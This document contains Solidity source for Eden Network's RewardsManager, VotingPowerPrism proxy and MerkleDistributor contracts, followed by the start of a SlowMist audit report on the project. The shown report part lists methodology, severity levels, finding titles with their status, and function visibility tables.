newRewardTokensPerBlock); /// @notice Event emitted when the rewards start block is set event SetRewardsStartBlock(uint256 indexed startBlock); /// @notice Event emitted when contract address is changed event ChangedAddress(string indexed addressType, address indexed oldAddress, address indexed newAddress); /** * @notice Create a new Rewards Manager contract * @param _owner owner of contract * @param _lockManager address of LockManager contract * @param _vault address of Vault contract * @param _rewardToken address of token that is being offered as a reward * @param _sushiToken address of SUSHI token * @param _masterChef address of SushiSwap MasterChef contract * @param _startBlock block number when rewards will start * @param _rewardTokensPerBlock initial amount of reward tokens to be distributed per block */ constructor( address _owner, address _lockManager, address _vault, address _rewardToken, address _sushiToken, address _masterChef, uint256 _startBlock, uint256 _rewardTokensPerBlock ) { owner = _owner; emit ChangedOwner(address(0), _owner); lockManager = ILockManager(_lockManager); emit ChangedAddress("LOCK_MANAGER", address(0), _lockManager); vault = IVault(_vault); emit ChangedAddress("VAULT", address(0), _vault); rewardToken = IERC20Extended(_rewardToken); emit ChangedAddress("REWARD_TOKEN", address(0), _rewardToken); sushiToken = IERC20Extended(_sushiToken); emit ChangedAddress("SUSHI_TOKEN", address(0), _sushiToken); masterChef = IMasterChef(_masterChef); emit ChangedAddress("MASTER_CHEF", address(0), _masterChef); startBlock = _startBlock == 0 ? block.number : _startBlock; emit SetRewardsStartBlock(startBlock); rewardTokensPerBlock = _rewardTokensPerBlock; emit ChangedRewardTokensPerBlock(0, _rewardTokensPerBlock); rewardToken.safeIncreaseAllowance(address(vault), type(uint256).max); } /** * @notice View function to see current poolInfo array length * @return pool length */ function poolLength() external view returns (uint256) { return poolInfo.length; } /** * @notice Add a new reward token to the pool * @dev Can only be called by the owner. DO NOT add the same token more than once. Rewards will be messed up if you do. * @param allocPoint Number of allocation points to allot to this token/pool * @param token The token that will be staked for rewards * @param vestingPercent The percentage of rewards from this pool that will vest * @param vestingPeriod The number of days for the vesting period * @param vestingCliff The number of days for the vesting cliff * @param withUpdate if specified, update all pools before adding new pool * @param sushiPid The pid of the Sushiswap pool in the Masterchef contract (if exists, otherwise provide zero) * @param vpForDeposit If true, users get voting power for deposits * @param vpForVesting If true, users get voting power for vesting balances */ function add( uint256 allocPoint, address token, uint32 vestingPercent, uint16 vestingPeriod, uint16 vestingCliff, bool withUpdate, uint256 sushiPid, bool vpForDeposit, bool vpForVesting ) external onlyOwner { if (withUpdate) { massUpdatePools(); } uint256 rewardStartBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint + allocPoint; poolInfo.push(PoolInfo({ token: IERC20Extended(token), allocPoint: allocPoint, lastRewardBlock: rewardStartBlock, accRewardsPerShare: 0, vestingPercent: vestingPercent, vestingPeriod: vestingPeriod, vestingCliff: vestingCliff, totalStaked: 0, vpForDeposit: vpForDeposit, vpForVesting: vpForVesting })); if (sushiPid != uint256(0)) { sushiPools[token] = sushiPid; IERC20Extended(token).safeIncreaseAllowance(address(masterChef), type(uint256).max); } IERC20Extended(token).safeIncreaseAllowance(address(vault), type(uint256).max); emit PoolAdded(poolInfo.length - 1, token, allocPoint, totalAllocPoint, rewardStartBlock, sushiPid, vpForDeposit, vpForVesting); } /** * @notice Update the given pool's allocation points * @dev Can only be called by the owner * @param pid The RewardManager pool id * @param allocPoint New number of allocation points for pool * @param withUpdate if specified, update all pools before setting allocation points */ function set( uint256 pid, uint256 allocPoint, bool withUpdate ) external onlyOwner { if (withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint - poolInfo[pid].allocPoint + allocPoint; emit PoolUpdated(pid, poolInfo[pid].allocPoint, allocPoint, totalAllocPoint); poolInfo[pid].allocPoint = allocPoint; } /** * @notice Returns true if rewards are actively being accumulated */ function rewardsActive() public view returns (bool) { return block.number >= startBlock && totalAllocPoint > 0 ? true : false; } /** * @notice Return reward multiplier over the given from to to block. * @param from From block number * @param to To block number * @return multiplier */ function getMultiplier(uint256 from, uint256 to) public pure returns (uint256) { return to > from ? to - from : 0; } /** * @notice View function to see pending reward tokens on frontend. * @param pid pool id * @param account user account to check * @return pending rewards */ function pendingRewardTokens(uint256 pid, address account) external view returns (uint256) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][account]; uint256 accRewardsPerShare = pool.accRewardsPerShare; uint256 tokenSupply = pool.totalStaked; if (block.number > pool.lastRewardBlock && tokenSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 totalReward = multiplier * rewardTokensPerBlock * pool.allocPoint / totalAllocPoint; accRewardsPerShare = accRewardsPerShare + totalReward * 1e12 / tokenSupply; } uint256 accumulatedRewards = user.amount * accRewardsPerShare / 1e12; if (accumulatedRewards < user.rewardTokenDebt) { return 0; } return accumulatedRewards - user.rewardTokenDebt; } /** * @notice View function to see pending SUSHI on frontend. * @param pid pool id * @param account user account to check * @return pending SUSHI rewards */ function pendingSushi(uint256 pid, address account) external view returns (uint256) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][account]; uint256 sushiPid = sushiPools[address(pool.token)]; if (sushiPid == uint256(0)) { return 0; } IMasterChef.PoolInfo memory sushiPool = masterChef.poolInfo(sushiPid); uint256 sushiPerBlock = masterChef.sushiPerBlock(); uint256 totalSushiAllocPoint = masterChef.totalAllocPoint(); uint256 accSushiPerShare = sushiPool.accSushiPerShare; uint256 lpSupply = sushiPool.lpToken.balanceOf(address(masterChef)); if (block.number > sushiPool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = masterChef.getMultiplier(sushiPool.lastRewardBlock, block.number); uint256 sushiReward = multiplier * sushiPerBlock * sushiPool.allocPoint / totalSushiAllocPoint; accSushiPerShare = accSushiPerShare + sushiReward * 1e12 / lpSupply; } uint256 accumulatedSushi = user.amount * accSushiPerShare / 1e12; if (accumulatedSushi < user.sushiRewardDebt) { return 0; } return accumulatedSushi - user.sushiRewardDebt; } /** * @notice Update reward variables for all pools * @dev Be careful of gas spending! */ function massUpdatePools() public { for (uint256 pid = 0; pid < poolInfo.length; ++pid) { updatePool(pid); } } /** * @notice Update reward variables of the given pool to be up-to-date * @param pid pool id */ function updatePool(uint256 pid) public { PoolInfo storage pool = poolInfo[pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 tokenSupply = pool.totalStaked; if (tokenSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 totalReward = multiplier * rewardTokensPerBlock * pool.allocPoint / totalAllocPoint; pool.accRewardsPerShare = pool.accRewardsPerShare + totalReward * 1e12 / tokenSupply; pool.lastRewardBlock = block.number; } /** * @notice Deposit tokens to RewardsManager for rewards allocation. * @param pid pool id * @param amount number of tokens to deposit */ function deposit(uint256 pid, uint256 amount) external nonReentrant { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; _deposit(pid, amount, pool, user); } /** * @notice Deposit tokens to RewardsManager for rewards allocation, using permit for approval * @dev It is up to the frontend developer to ensure the pool token implements permit - otherwise this will fail * @param pid pool id * @param amount number of tokens to deposit * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function depositWithPermit( uint256 pid, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external nonReentrant { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; pool.token.permit(msg.sender, address(this), amount, deadline, v, r, s); _deposit(pid, amount, pool, user); } /** * @notice Withdraw tokens from RewardsManager, claiming rewards. * @param pid pool id * @param amount number of tokens to withdraw */ function withdraw(uint256 pid, uint256 amount) external nonReentrant { require(amount > 0, "RM::withdraw: amount must be > 0"); PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; _withdraw(pid, amount, pool, user); } /** * @notice Withdraw without caring about rewards. EMERGENCY ONLY. * @param pid pool id */ function emergencyWithdraw(uint256 pid) external nonReentrant { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; if (user.amount > 0) { uint256 sushiPid = sushiPools[address(pool.token)]; if (sushiPid != uint256(0)) { masterChef.withdraw(sushiPid, user.amount); } if (pool.vpForDeposit) { lockManager.removeVotingPower(msg.sender, address(pool.token), user.amount); } pool.totalStaked = pool.totalStaked - user.amount; pool.token.safeTransfer(msg.sender, user.amount); emit EmergencyWithdraw(msg.sender, pid, user.amount); user.amount = 0; user.rewardTokenDebt = 0; user.sushiRewardDebt = 0; } } /** * @notice Set approvals for external addresses to use contract tokens * @dev Can only be called by the owner * @param tokensToApprove the tokens to approve * @param approvalAmounts the token approval amounts * @param spender the address to allow spending of token */ function tokenAllow( address[] memory tokensToApprove, uint256[] memory approvalAmounts, address spender ) external onlyOwner { require(tokensToApprove.length == approvalAmounts.length, "RM::tokenAllow: not same length"); for(uint i = 0; i < tokensToApprove.length; i++) { IERC20Extended token = IERC20Extended(tokensToApprove[i]); if (token.allowance(address(this), spender) != type(uint256).max) { token.safeApprove(spender, approvalAmounts[i]); } } } /** * @notice Rescue (withdraw) tokens from the smart contract * @dev Can only be called by the owner * @param tokens the tokens to withdraw * @param amounts the amount of each token to withdraw. If zero, withdraws the maximum allowed amount for each token * @param receiver the address that will receive the tokens */ function rescueTokens( address[] calldata tokens, uint256[] calldata amounts, address receiver ) external onlyOwner { require(tokens.length == amounts.length, "RM::rescueTokens: not same length"); for (uint i = 0; i < tokens.length; i++) { IERC20Extended token = IERC20Extended(tokens[i]); uint256 withdrawalAmount; uint256 tokenBalance = token.balanceOf(address(this)); uint256 tokenAllowance = token.allowance(address(this), receiver); if (amounts[i] == 0) { if (tokenBalance > tokenAllowance) { withdrawalAmount = tokenAllowance; } else { withdrawalAmount = tokenBalance; } } else { require(tokenBalance >= amounts[i], "RM::rescueTokens: contract balance too low"); require(tokenAllowance >= amounts[i], "RM::rescueTokens: increase token allowance"); withdrawalAmount = amounts[i]; } token.safeTransferFrom(address(this), receiver, withdrawalAmount); } } /** * @notice Set new rewards per block * @dev Can only be called by the owner * @param newRewardTokensPerBlock new amount of reward token to reward each block */ function setRewardsPerBlock(uint256 newRewardTokensPerBlock) external onlyOwner { emit ChangedRewardTokensPerBlock(rewardTokensPerBlock, newRewardTokensPerBlock); rewardTokensPerBlock = newRewardTokensPerBlock; } /** * @notice Set new SUSHI token address * @dev Can only be called by the owner * @param newToken address of new SUSHI token */ function setSushiToken(address newToken) external onlyOwner { emit ChangedAddress("SUSHI_TOKEN", address(sushiToken), newToken); sushiToken = IERC20Extended(newToken); } /** * @notice Set new MasterChef address * @dev Can only be called by the owner * @param newAddress address of new MasterChef */ function setMasterChef(address newAddress) external onlyOwner { emit ChangedAddress("MASTER_CHEF", address(masterChef), newAddress); masterChef = IMasterChef(newAddress); } /** * @notice Set new Vault address * @param newAddress address of new Vault */ function setVault(address newAddress) external onlyOwner { emit ChangedAddress("VAULT", address(vault), newAddress); vault = IVault(newAddress); } /** * @notice Set new LockManager address * @param newAddress address of new LockManager */ function setLockManager(address newAddress) external onlyOwner { emit ChangedAddress("LOCK_MANAGER", address(lockManager), newAddress); lockManager = ILockManager(newAddress); } /** * @notice Change owner of Rewards Manager contract * @dev Can only be called by the owner * @param newOwner New owner address */ function changeOwner(address newOwner) external onlyOwner { require(newOwner != address(0) && newOwner != address(this), "RM::changeOwner: not valid address"); emit ChangedOwner(owner, newOwner); owner = newOwner; } /** * @notice Internal implementation of deposit * @param pid pool id * @param amount number of tokens to deposit * @param pool the pool info * @param user the user info */ function _deposit( uint256 pid, uint256 amount, PoolInfo storage pool, UserInfo storage user ) internal { updatePool(pid); uint256 sushiPid = sushiPools[address(pool.token)]; uint256 pendingSushiTokens = 0; if (user.amount > 0) { uint256 pendingRewards = user.amount * pool.accRewardsPerShare / 1e12 - user.rewardTokenDebt; if (pendingRewards > 0) { _distributeRewards(msg.sender, pendingRewards, pool.vestingPercent, pool.vestingPeriod, pool.vestingCliff, pool.vpForVesting); } if (sushiPid != uint256(0)) { masterChef.updatePool(sushiPid); pendingSushiTokens = user.amount * masterChef.poolInfo(sushiPid).accSushiPerShare / 1e12 - user.sushiRewardDebt; } } pool.token.safeTransferFrom(msg.sender, address(this), amount); pool.totalStaked = pool.totalStaked + amount; user.amount = user.amount + amount; user.rewardTokenDebt = user.amount * pool.accRewardsPerShare / 1e12; if (sushiPid != uint256(0)) { masterChef.updatePool(sushiPid); user.sushiRewardDebt = user.amount * masterChef.poolInfo(sushiPid).accSushiPerShare / 1e12; masterChef.deposit(sushiPid, amount); } if (amount > 0 && pool.vpForDeposit) { lockManager.grantVotingPower(msg.sender, address(pool.token), amount); } if (pendingSushiTokens > 0) { _safeSushiTransfer(msg.sender, pendingSushiTokens); } emit Deposit(msg.sender, pid, amount); } /** * @notice Internal implementation of withdraw * @param pid pool id * @param amount number of tokens to withdraw * @param pool the pool info * @param user the user info */ function _withdraw( uint256 pid, uint256 amount, PoolInfo storage pool, UserInfo storage user ) internal { require(user.amount >= amount, "RM::_withdraw: amount > user balance"); updatePool(pid); uint256 sushiPid = sushiPools[address(pool.token)]; if (sushiPid != uint256(0)) { masterChef.updatePool(sushiPid); uint256 pendingSushiTokens = user.amount * masterChef.poolInfo(sushiPid).accSushiPerShare / 1e12 - user.sushiRewardDebt; masterChef.withdraw(sushiPid, amount); user.sushiRewardDebt = (user.amount - amount) * masterChef.poolInfo(sushiPid).accSushiPerShare / 1e12; if (pendingSushiTokens > 0) { _safeSushiTransfer(msg.sender, pendingSushiTokens); } } uint256 pendingRewards = user.amount * pool.accRewardsPerShare / 1e12 - user.rewardTokenDebt; user.amount = user.amount - amount; user.rewardTokenDebt = user.amount * pool.accRewardsPerShare / 1e12; if (pendingRewards > 0) { _distributeRewards(msg.sender, pendingRewards, pool.vestingPercent, pool.vestingPeriod, pool.vestingCliff, pool.vpForVesting); } if (pool.vpForDeposit) { lockManager.removeVotingPower(msg.sender, address(pool.token), amount); } pool.totalStaked = pool.totalStaked - amount; pool.token.safeTransfer(msg.sender, amount); emit Withdraw(msg.sender, pid, amount); } /** * @notice Internal function used to distribute rewards, optionally vesting a % * @param account account that is due rewards * @param rewardAmount amount of rewards to distribute * @param vestingPercent percent of rewards to vest in bips * @param vestingPeriod number of days over which to vest rewards * @param vestingCliff number of days for vesting cliff * @param vestingVotingPower if true, grant voting power for vesting balance */ function _distributeRewards( address account, uint256 rewardAmount, uint32 vestingPercent, uint16 vestingPeriod, uint16 vestingCliff, bool vestingVotingPower ) internal { rewardToken.mint(address(this), rewardAmount); uint256 vestingRewards = rewardAmount * vestingPercent / 1000000; if(vestingRewards > 0) { vault.lockTokens(address(rewardToken), address(this), account, 0, vestingRewards, vestingPeriod, vestingCliff, vestingVotingPower); } rewardToken.safeTransfer(msg.sender, rewardAmount - vestingRewards); } /** * @notice Safe SUSHI transfer function, just in case if rounding error causes pool to not have enough SUSHI. * @param to account that is receiving SUSHI * @param amount amount of SUSHI to send */ function _safeSushiTransfer(address to, uint256 amount) internal { uint256 sushiBalance = sushiToken.balanceOf(address(this)); if (amount > sushiBalance) { sushiToken.safeTransfer(to, sushiBalance); } else { sushiToken.safeTransfer(to, amount); } } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./lib/PrismProxy.sol"; /** * @title VotingPowerPrism * @dev Storage for voting power is at this address, while execution is delegated to the prism proxy implementation contract * All contracts that use voting power should reference this contract. */ contract VotingPowerPrism is PrismProxy { /** * @notice Construct a new Voting Power Prism Proxy * @dev Sets initial proxy admin to `_admin` * @param _admin Initial proxy admin */ constructor(address _admin) { // Initialize storage ProxyStorage storage s = proxyStorage(); // Set initial proxy admin s.admin = _admin; } /** * @notice Forwards call to implementation contract */ receive() external payable { _forwardToImplementation(); } /** * @notice Forwards call to implementation contract */ fallback() external payable { _forwardToImplementation(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IMerkleDistributor.sol"; import "./interfaces/IGovernance.sol"; import "./lib/AccessControlEnumerable.sol"; import "./lib/MerkleProof.sol"; import "./lib/ERC721Enumerable.sol"; /** * @title MerkleDistributor * @dev Distributes rewards to block producers in the network. NFT serves as proof of distribution. */ contract MerkleDistributor is IMerkleDistributor, AccessControlEnumerable, ERC721Enumerable { /// @notice Role allowing the merkle root to be updated bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE"); /// @notice Role to slash earned rewards bytes32 public constant SLASHER_ROLE = keccak256("SLASHER_ROLE"); /// @notice Role to distribute rewards to accounts bytes32 public constant DISTRIBUTOR_ROLE = keccak256("DISTRIBUTOR_ROLE"); /// @notice Token distributed by this contract IERC20Mintable public immutable override token; /// @notice Root of a merkle tree containing total earned amounts bytes32 public override merkleRoot; /// @notice Total number of distributions, also token id of the current distribution uint256 public override distributionCount; /// @notice Number of votes from updaters needed to apply a new root uint256 public updateThreshold; /// @notice Governance address address public governance; /// @notice Properties of each account -- totalEarned is stored in merkle tree struct AccountState { uint256 totalClaimed; uint256 totalSlashed; } /// @notice Account state mapping(address => AccountState) public override accountState; /// @notice Historical merkle roots mapping(bytes32 => bool) public override previousMerkleRoot; /// @dev Path to distribution metadata (including proofs) mapping(uint256 => string) private _tokenURI; /// @dev Votes for a new merkle root mapping(bytes32 => uint256) private _updateVotes; /// @dev Vote for new merkle root for each distribution mapping(address => mapping(uint256 => bytes32)) private _updaterVotes; /// @dev Modifier to restrict functions to only updaters modifier onlyUpdaters() { require(hasRole(UPDATER_ROLE, msg.sender), "MerkleDistributor: Caller must have UPDATER_ROLE"); _; } /// @dev Modifier to restrict functions to only slashers modifier onlySlashers() { require(hasRole(SLASHER_ROLE, msg.sender), "MerkleDistributor: Caller must have SLASHER_ROLE"); _; } /// @dev Modifier to restrict functions to only admins modifier onlyAdmins() { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "MerkleDistributor: Caller must have DEFAULT_ADMIN_ROLE"); _; } /** * @notice Create new MerkleDistributor * @param _token Token address * @param _governance Governance address * @param _admin Admin address * @param _updateThreshold Number of updaters required to update * @param _updaters Initial updaters * @param _slashers Initial slashers */ constructor( IERC20Mintable _token, address _governance, address _admin, uint8 _updateThreshold, address[] memory _updaters, address[] memory _slashers ) ERC721("Eden Network Distribution", "EDEND") { token = _token; previousMerkleRoot[merkleRoot] = true; _setGovernance(_governance); for(uint i; i< _updaters.length; i++) { _setupRole(UPDATER_ROLE, _updaters[i]); } _setUpdateThreshold(_updateThreshold); for(uint i; i< _slashers.length; i++) { _setupRole(SLASHER_ROLE, _slashers[i]); } _setupRole(DEFAULT_ADMIN_ROLE, _admin); } /** * @notice Change the governance address * @dev The caller must have the `DEFAULT_ADMIN_ROLE` * @param to New governance address */ function setGovernance(address to) onlyAdmins external override { _setGovernance(to); } /** * @notice Add updaters and modify threshold * @dev The caller must have the `DEFAULT_ADMIN_ROLE` * @param newUpdaters New updater addresses * @param newThreshold New threshold */ function addUpdaters(address[] memory newUpdaters, uint256 newThreshold) onlyAdmins external override { for(uint i; i< newUpdaters.length; i++) { _setupRole(UPDATER_ROLE, newUpdaters[i]); } _setUpdateThreshold(newThreshold); } /** * @notice Remove updaters and modify threshold * @dev The caller must have the `DEFAULT_ADMIN_ROLE` * @param existingUpdaters Existing updater addresses * @param newThreshold New threshold */ function removeUpdaters(address[] memory existingUpdaters, uint256 newThreshold) onlyAdmins external override { for(uint i; i< existingUpdaters.length; i++) { _revokeRole(UPDATER_ROLE, existingUpdaters[i]); } _setUpdateThreshold(newThreshold); } /** * @notice Change the update threshold * @dev The caller must have the `DEFAULT_ADMIN_ROLE` * @param to New threshold */ function setUpdateThreshold(uint256 to) onlyAdmins external override { _setUpdateThreshold(to); } /** * @notice Claim all unclaimed tokens * @dev Given a merkle proof of (index, account, totalEarned), claim all * unclaimed tokens. Unclaimed tokens are the difference between the total * earned tokens (provided in the merkle tree) and those that have been * either claimed or slashed. * * Note: it is possible for the claimed and slashed tokens to exceeed * the total earned tokens, particularly when a slashing has occured. * In this case no tokens are claimable until total earned has exceeded * the sum of the claimed and slashed. * * If no tokens are claimable, this function will revert. * * @param index Claim index * @param account Account for claim * @param totalEarned Total lifetime amount of tokens earned by account * @param merkleProof Merkle proof */ function claim(uint256 index, address account, uint256 totalEarned, bytes32[] calldata merkleProof) external override { require(governance != address(0), "MerkleDistributor: Governance not set"); // Verify caller is authorized and select beneficiary address beneficiary = msg.sender; if (msg.sender != account) { address collector = IGovernance(governance).rewardCollector(account); if (!hasRole(DISTRIBUTOR_ROLE, msg.sender)) { require(msg.sender == collector, "MerkleDistributor: Cannot collect rewards"); } else { beneficiary = collector == address(0) ? account : collector; } } // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, totalEarned)); require(MerkleProof.verify(merkleProof, merkleRoot, node), "MerkleDistributor: Invalid proof"); // Calculate the claimable balance uint256 alreadyDistributed = accountState[account].totalClaimed + accountState[account].totalSlashed; require(totalEarned > alreadyDistributed, "MerkleDistributor: Nothing claimable"); uint256 claimable = totalEarned - alreadyDistributed; emit Claimed(index, totalEarned, account, claimable); // Apply account changes and transfer unclaimed tokens _increaseAccount(account, claimable, 0); require(token.mint(beneficiary, claimable), "MerkleDistributor: Mint failed"); } /** * @notice Set a new merkle root and mints NFT with metadata URI to retreive the full tree * @dev The caller must have `UPDATER_ROLE` * @param newMerkleRoot Merkle root * @param uri NFT uri * @param newDistributionNumber Number of distribution */ function updateMerkleRoot(bytes32 newMerkleRoot, string calldata uri, uint256 newDistributionNumber) external override onlyUpdaters returns (uint256) { require(!previousMerkleRoot[newMerkleRoot], "MerkleDistributor: Cannot update to a previous merkle root"); uint256 distributionNumber = distributionCount + 1; require(distributionNumber == newDistributionNumber, "MerkleDistributor: Can only update next distribution"); require(_updaterVotes[msg.sender][distributionNumber] == bytes32(0), "MerkleDistributor: Updater already submitted new root"); _updaterVotes[msg.sender][distributionNumber] = newMerkleRoot; uint256 votes = _updateVotes[newMerkleRoot] + 1; _updateVotes[newMerkleRoot] = votes; if (votes == updateThreshold) { merkleRoot = newMerkleRoot; previousMerkleRoot[newMerkleRoot] = true; distributionCount = distributionNumber; _tokenURI[distributionNumber] = uri; _mint(msg.sender, distributionNumber); emit PermanentURI(uri, distributionNumber); emit MerkleRootUpdated(newMerkleRoot, distributionNumber, uri); return distributionNumber; } else { return distributionCount; } } /** * @notice Slash `account` for `amount` tokens. * @dev The caller must have `SLASHERS_ROLE` * @param account Account to slash * @param amount Amount to slash */ function slash(address account, uint256 amount) external override onlySlashers { emit Slashed(account, amount); _increaseAccount(account, 0, amount); } /** * @notice Returns true if this contract implements the interface defined by * `interfaceId`. * @dev See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. * * @param interfaceId ID of interface */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, IERC165, ERC721Enumerable) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @notice Returns the Uniform Resource Identifier (URI) for `tokenId` token. * @param tokenId ID of token */ function tokenURI(uint256 tokenId) public view virtual override(ERC721, IERC721Metadata) returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory uri = _tokenURI[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return uri; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(uri).length > 0) { return string(abi.encodePacked(base, uri)); } return super.tokenURI(tokenId); } /** * @notice Apply a governance change * @param to New governance address */ function _setGovernance(address to) private { require(to != governance, "MerkleDistributor: Governance address not changed"); emit GovernanceChanged(governance, to); governance = to; } /** * @notice Apply a threshold change * @param to New threshold */ function _setUpdateThreshold(uint256 to) private { require(to != 0, "MerkleDistributor: Update threshold must be non-zero"); require(to <= getRoleMemberCount(UPDATER_ROLE), "MerkleDistributor: threshold > updaters"); emit UpdateThresholdChanged(to); updateThreshold = to; } /** * @notice Increase claimed and account amounts for `account` * @param account Account to increase * @param claimed Claimed amount * @param slashed Slashed amount */ function _increaseAccount(address account, uint256 claimed, uint256 slashed) private { // Increase balances if (claimed != 0) { accountState[account].totalClaimed += claimed; } if (slashed != 0) { accountState[account].totalSlashed += slashed; } if (claimed != 0 || slashed != 0) { emit AccountUpdated(account, accountState[account].totalClaimed, accountState[account].totalSlashed); } } }
0 Table Of Contents 1 Executive Summary 2 Audit Methodology 3 Project Overview 3.1 Project Introduction 3.2 Vulnerability Information 4 Code Overview 4.1 Contracts Description 4.2 Visibility Description 4.3 Vulnerability Summary 5 Audit Result 6 Statement 1 1 Executive Summary On 2021.09.22, the SlowMist security team received the Eden team's security audit application for eden-network, developed the audit plan according to the agreement of both parties and the characteristics of the project, and finally issued the security audit report. The SlowMist security team adopts the strategy of "white box lead, black, grey box assists" to conduct a complete security test on the project in the way closest to the real attack. The test method information: Test method Description Black box testingConduct security tests from an attacker's perspective externally. Grey box testingConduct security testing on code modules through the scripting tool, observing the internal running status, mining weaknesses. White box testingBased on the open source code, non-open source code, to detect whether there are vulnerabilities in programs such as nodes, SDK, etc. The vulnerability severity level information: Level Description CriticalCritical severity vulnerabilities will have a significant impact on the security of the DeFi project, and it is strongly recommended to fix the critical vulnerabilities. HighHigh severity vulnerabilities will affect the normal operation of the DeFi project. It is strongly recommended to fix high-risk vulnerabilities. MediumMedium severity vulnerability will affect the operation of the DeFi project. It is recommended to fix medium-risk vulnerabilities. LowLow severity vulnerabilities may affect the operation of the DeFi project in certain scenarios. It is suggested that the project team should evaluate and consider whether these vulnerabilities need to be fixed. Weakness There are safety risks theoretically, but it is extremely difficult to reproduce in engineering. 2 Level Description Suggestion There are better practices for coding or architecture. 2 Audit Methodology The security audit process of SlowMist security team for smart contract includes two steps: Smart contract codes are scanned/tested for commonly known and more specific vulnerabilities using automated analysis tools. Manual audit of the codes for security issues. The contracts are manually analyzed to look for any potential problems. Following is the list of commonly known vulnerabilities that was considered during the audit of the smart contract: Reentrancy Vulnerability Replay Vulnerability Reordering Vulnerability Short Address Vulnerability Denial of Service Vulnerability Transaction Ordering Dependence Vulnerability Race Conditions Vulnerability Authority Control Vulnerability Integer Overflow and Underflow Vulnerability TimeStamp Dependence Vulnerability Uninitialized Storage Pointers Vulnerability Arithmetic Accuracy Deviation Vulnerability tx.origin Authentication Vulnerability 3 3 Project Overview 3.1 Project Introduction https://github.com/eden-network/governance commit: e7b55f6e3f9c0d3ede7fd8bb39ae4fa7a4f4e79e 3.2 Vulnerability Information The following is the status of the vulnerabilities found in this audit: NO Title Category Level Status N1Deflation token compatibility issuesDesign Logic AuditSuggestion Confirmed N2Risk of excessive authorityAuthority Control VulnerabilityLow Confirmed N3Payments Contract Deflation token compatibility issuesDesign Logic AuditSuggestion Confirmed"False top-up" Vulnerability Variable Coverage Vulnerability Gas Optimization Audit Malicious Event Log Audit Redundant Fallback Function Audit Unsafe External Call Audit Explicit Visibility of Functions State Variables Aduit Design Logic Audit Scoping and Declarations Audit 4 NO Title Category Level Status N4User voting rights are lostOthers Medium Confirming N5 Out of gas in the loopGas Optimization AuditSuggestion Confirmed N6The new variable is not assignedOthers Suggestion Confirmed N7Restrictions can be bypassedOthers Suggestion Confirmed N8Risk of excessive authorityAuthority Control VulnerabilityLow Confirming 4 Code Overview 4.1 Contracts Description The main network address of the contract is as follows: The code was not deployed to the mainnet. 4.2 Visibility Description The SlowMist Security team analyzed the visibility of major contracts during the audit, the result as follows: DistributorGovernance Function Name Visibility Mutability Modifiers <Constructor> Public Can Modify State - add External Can Modify State onlyGov addBatch External Can Modify State onlyGov 5 DistributorGovernance remove External Can Modify State onlyGov removeBatch External Can Modify State onlyGov delegate External Can Modify State onlyDelegatorOrProducer delegateBatch External Can Modify State onlyDelegator setRewardSchedule Public Can Modify State onlyGov rewardScheduleEntry Public - - rewardScheduleEntries Public - - EdenNetwork Function Name Visibility Mutability Modifiers initialize Public Can Modify State initializer slotOwner Public - - slotDelegate Public - - slotCost External - - claimSlot External Can Modify State nonReentrant claimSlotWithPermit External Can Modify State nonReentrant slotBalance Public - - slotForeclosed Public - - stake External Can Modify State nonReentrant stakeWithPermit External Can Modify State nonReentrant 6 EdenNetwork unstake External Can Modify State nonReentrant withdraw External Can Modify State nonReentrant setSlotDelegate External Can Modify State onlySlotOwner setTaxRate External Can Modify State onlyAdmin setAdmin External Can Modify State onlyAdmin _claimSlot Internal Can Modify State - _stake Internal Can Modify State - EdenNetworkManager Function Name Visibility Mutability Modifiers <Constructor> Public Can Modify State - initialize External Can Modify State initializer onlyAdmin setAdmin External Can Modify State onlyAdmin setEdenNetworkProxy External Can Modify State onlyAdmin getProxyImplementation Public - - getProxyAdmin Public - - setProxyAdmin External Can Modify State onlyAdmin upgrade External Can Modify State onlyAdmin upgradeAndCall External Payable onlyAdmin EdenNetworkProxy 7 EdenNetworkProxy Function Name Visibility Mutability Modifiers <Constructor> Public Payable ERC1967Proxy admin External Can Modify State ifAdmin implementation External Can Modify State ifAdmin changeAdmin External Can Modify State ifAdmin upgradeTo External Can Modify State ifAdmin upgradeToAndCall External Payable ifAdmin _admin Internal - - _setAdmin Private Can Modify State - _beforeFallback Internal Can Modify State - EdenToken Function Name Visibility Mutability Modifiers <Constructor> Public Can Modify State - setMetadataManager External Can Modify State - mint External Can Modify State - burn External Can Modify State - updateTokenMetadata External Can Modify State - approve External Can Modify State - increaseAllowance External Can Modify State - 8 EdenToken decreaseAllowance External Can Modify State - permit External Can Modify State - transfer External Can Modify State - transferFrom External Can Modify State - transferWithAuthorization External Can Modify State - receiveWithAuthorization External Can Modify State - 